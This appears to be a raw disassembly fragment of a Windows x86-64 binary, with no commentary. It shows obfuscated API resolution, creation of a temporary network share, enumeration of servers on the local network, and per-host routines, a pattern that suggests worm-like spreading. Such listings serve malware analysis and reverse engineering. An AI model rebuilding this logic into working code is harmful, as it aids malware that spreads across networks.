call fcn.140004bca
mov r14d, 0x2710
xor edx, edx
div r14d
mov dword [rbp + 0xdc0], edx
mov edi, dword [rbp + 0xdc0]
mov ecx, 0x35bf
call fcn.140004bca
xor edx, edx
div r14d
mov ecx, edx
inc ecx
mov eax, edi
xor edx, edx
div ecx
mov dword [rbp + 0x860], edx
lea eax, [rbx + 1]
mov dword [0x14002f2e0], eax
lea rdx, [rbp + 0x860]
mov qword [rdx], 0xeab
lea rdi, [rbp + 0x70]
mov qword [rdi], 0xefb
lea rbx, [rbp + 0xdc0]
mov rcx, rbx
call fcn.140004c27
mov rcx, rbx
mov rdx, rdi
call fcn.140004c89
xor rsi, qword [rdi]
lea rcx, [rbp + 0x1f0]
lea rdx, [rbp + 0x450]
xor r8d, r8d
call rsi
push 2
pop rdx
lea r8, [rbp + 0xd88]
lea r9, [rbp + 0xf70]
xor ecx, ecx
call sub.NETAPI32.dll_NetShareAdd
lea rsi, [rbp + 0xf68]
and qword [rsi], 0
lea r15, [rbp + 0xf58]
and dword [r15], 0
lea r14, [rbp + 0xf74]
and dword [r14], 0
lea r12, [rbp + 0xf5c]
and dword [r12], 0
lea rdx, [rbp + 0xdc0]
mov cx, 0x101
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov rcx, rdi
mov edx, 0xff
call qword [sym.imp.WS2_32.dll_gethostname]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
call qword [sym.imp.WS2_32.dll_WSACleanup]
movabs rax, 0x4430671d056d7f75
lea rcx, [rbp + 0x440]
mov qword [rcx + 6], rax
movabs rax, 0x7f756f67491c646b
mov qword [rcx], rax
call fcn.140014570
mov rbx, rax
lea rcx, [rbp + 0x970]
call fcn.14000dcaf
lea rcx, [rbp + 0x860]
mov rdx, rbx
mov r8, rdi
mov r9, rax
call fcn.140008b7b
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x28], r12
and qword [rsp + 0x38], 0
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x30], 2
push 0x65
pop rdx
push 0xffffffffffffffff
pop r9
xor ecx, ecx
mov r8, rsi
call sub.NETAPI32.dll_NetServerEnum
cmp eax, 0xea
je 0x140015d50
test eax, eax
jne 0x140015d91
mov rdi, qword [rbp + 0xf68]
test rdi, rdi
je 0x140015db3
add rdi, 8
xor ebx, ebx
lea rsi, [rbp + 0x860]
cmp ebx, dword [rbp + 0xf74]
jae 0x140015d91
mov rcx, qword [rdi]
call fcn.14000dcaf
mov rcx, rax
mov rdx, rsi
call fcn.140010210
call fcn.14000a88d
inc ebx
add rdi, 0x28
jmp 0x140015d69
mov rcx, qword [rbp + 0xf68]
test rcx, rcx
je 0x140015db3
call sub.NETAPI32.dll_NetApiBufferFree
lea rdx, [0x14002bb98]
xor ecx, ecx
xor r8d, r8d
call sub.NETAPI32.dll_NetShareDel
xor eax, eax
add rsp, 0xff8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret